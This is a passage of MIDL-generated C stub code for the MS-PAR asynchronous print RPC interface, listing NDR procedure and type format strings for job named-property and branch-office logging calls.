*/\n\n/* 4428 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4430 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4434 */\tNdrFcShort( 0x46 ),\t/* 70 */\n/* 4436 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4438 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4440 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4442 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4444 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 4446 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4448 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 4450 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 4452 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4454 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4456 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4458 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4460 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4462 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4464 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter JobId */\n\n/* 4466 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4468 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4470 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pszName */\n\n/* 4472 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4474 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4476 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pValue */\n\n/* 4478 */\tNdrFcShort( 0x6113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=24 */\n/* 4480 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4482 */\tNdrFcShort( 0xd8e ),\t/* Type Offset=3470 */\n\n\t/* Return value */\n\n/* 4484 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4486 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4488 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncSetJobNamedProperty */\n\n/* 4490 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4492 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4496 */\tNdrFcShort( 0x47 ),\t/* 71 */\n/* 4498 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4500 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4502 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4504 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4506 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 4508 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4510 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 4512 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 4514 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4516 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4518 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4520 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4522 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4524 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4526 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter JobId */\n\n/* 4528 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4530 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4532 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pProperty */\n\n/* 4534 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4536 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4538 */\tNdrFcShort( 0xda2 ),\t/* Type Offset=3490 */\n\n\t/* Return value */\n\n/* 4540 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4542 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4544 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeleteJobNamedProperty */\n\n/* 4546 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4548 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4552 */\tNdrFcShort( 0x48 ),\t/* 72 */\n/* 4554 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4556 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4558 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4560 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4562 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 4564 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4566 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 4568 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4570 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4572 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4574 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4576 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4578 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4580 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4582 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter JobId */\n\n/* 4584 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4586 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4588 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pszName */\n\n/* 4590 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4592 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4594 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 4596 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4598 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4600 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumJobNamedProperties */\n\n/* 4602 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4604 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4608 */\tNdrFcShort( 0x49 ),\t/* 73 */\n/* 4610 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4612 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4614 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4616 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4618 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 4620 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 4622 */\t0x45,\t\t/* Oi2 Flags:  srv must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 4624 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 4626 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4628 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4630 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4632 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4634 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4636 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4638 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter JobId */\n\n/* 4640 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4642 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4644 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcProperties */\n\n/* 4646 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4648 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4650 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ppProperties */\n\n/* 4652 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 4654 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4656 */\tNdrFcShort( 0xdb4 ),\t/* Type Offset=3508 */\n\n\t/* Return value */\n\n/* 4658 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4660 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4662 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncLogJobInfoForBranchOffice */\n\n/* 4664 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4666 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4670 */\tNdrFcShort( 0x4a ),\t/* 74 */\n/* 4672 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4674 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4676 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4678 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4680 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 4682 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4684 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 4686 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 4688 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4690 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4692 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4694 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4696 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4698 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4700 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pBranchOfficeJobDataContainer */\n\n/* 4702 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4704 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4706 */\tNdrFcShort( 0xeee ),\t/* Type Offset=3822 */\n\n\t/* Return value */\n\n/* 4708 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4710 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4712 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const ms2Dpar_MIDL_TYPE_FORMAT_STRING ms2Dpar__MIDL_TypeFormatString =\n    {\n        0,\n        {\n\t\t\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  2 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/*  4 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/*  6 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/*  8 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (10) */\n/* 10 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xa0,\t\t/* Ctxt flags:  via ptr, out, */\n/* 12 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 14 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 16 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (40) */\n/* 18 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 20 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 22 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 24 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 26 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 28 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 30 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 34 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 38 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 40 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 42 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 44 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 46 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (52) */\n/* 48 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 50 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 52 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 54 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (18) */\n/* 56 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 58 */\tNdrFcShort( 0x7c ),\t/* Offset= 124 (182) */\n/* 60 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 62 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 64 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 66 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 68 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 70 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 74 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 78 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (80) */\n/* 80 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 82 */\tNdrFcShort( 0x3 ),\t/* 3 */\n/* 84 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 88 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (104) */\n/* 90 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 94 */\tNdrFcShort( 0x28 ),\t/* Offset= 40 (134) */\n/* 96 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 100 */\tNdrFcShort( 0x30 ),\t/* Offset= 48 (148) */\n/* 102 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (101) */\n/* 104 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 106 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (108) */\n/* 108 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 110 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 112 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 114 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (126) */\n/* 116 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 118 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 120 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 122 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 124 */\t0x3e,\t\t/* FC_STRUCTPAD2 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 126 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 128 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 130 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 132 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 134 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 136 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (138) */\n/* 138 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 140 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 142 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 144 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (144) */\n/* 146 */\t0xb8,\t\t/* FC_INT3264 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 148 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 150 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (152) */\n/* 152 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 154 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 156 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 158 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (174) */\n/* 160 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 162 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 164 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 166 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 168 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 170 */\t0x3e,\t\t/* FC_STRUCTPAD2 */\n\t\t\t0xb,\t\t/* FC_HYPER */\n/* 172 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 174 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 176 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 178 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 180 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 182 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 184 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 186 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 188 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (188) */\n/* 190 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 192 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 194 */\tNdrFcShort( 0xff7a ),\t/* Offset= -134 (60) */\n/* 196 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 198 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 200 */\tNdrFcShort( 0x22e ),\t/* Offset= 558 (758) */\n/* 202 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 204 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 206 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 208 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 210 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 212 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 216 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 220 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (222) */\n/* 222 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 224 */\tNdrFcShort( 0xa ),\t/* 10 */\n/* 226 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 230 */\tNdrFcShort( 0x3a ),\t/* Offset= 58 (288) */\n/* 232 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 236 */\tNdrFcShort( 0x78 ),\t/* Offset= 120 (356) */\n/* 238 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 242 */\tNdrFcShort( 0x90 ),\t/* Offset= 144 (386) */\n/* 244 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 248 */\tNdrFcShort( 0x174 ),\t/* Offset= 372 (620) */\n/* 250 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 254 */\tNdrFcShort( 0x180 ),\t/* Offset= 384 (638) */\n/* 256 */\tNdrFcLong( 0x5 ),\t/* 5 */\n/* 260 */\tNdrFcShort( 0x194 ),\t/* Offset= 404 (664) */\n/* 262 */\tNdrFcLong( 0x6 ),\t/* 6 */\n/* 266 */\tNdrFcShort( 0x1aa ),\t/* Offset= 426 (692) */\n/* 268 */\tNdrFcLong( 0x7 ),\t/* 7 */\n/* 272 */\tNdrFcShort( 0x1ae ),\t/* Offset= 430 (702) */\n/* 274 */\tNdrFcLong( 0x8 ),\t/* 8 */\n/* 278 */\tNdrFcShort( 0x1bc ),\t/* Offset= 444 (722) */\n/* 280 */\tNdrFcLong( 0x9 ),\t/* 9 */\n/* 284 */\tNdrFcShort( 0x1c8 ),\t/* Offset= 456 (740) */\n/* 286 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (285) */\n/* 288 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 290 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (306) */\n/* 292 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x1,\t\t/* 1 */\n/* 294 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 296 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 298 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 300 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 302 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 304 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 306 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 308 */\tNdrFcShort( 0x88 ),\t/* 136 */\n/* 310 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 312 */\tNdrFcShort( 0x24 ),\t/* Offset= 36 (348) */\n/* 314 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 316 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 318 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 320 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffe3 ),\t/* Offset= -29 (292) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 324 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 326 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 328 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 330 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 332 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 334 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 336 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 338 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 340 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 342 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 344 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 346 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 348 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 350 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 352 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 354 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 356 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 358 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (360) */\n/* 360 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 362 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 364 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 366 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (374) */\n/* 368 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 370 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 372 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 374 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 376 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 378 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 380 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 382 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 384 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 386 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 388 */\tNdrFcShort( 0x96 ),\t/* Offset= 150 (538) */\n/* 390 */\t\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 392 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 394 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 396 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 398 */\tNdrFcShort( 0xdc ),\t/* 220 */\n/* 400 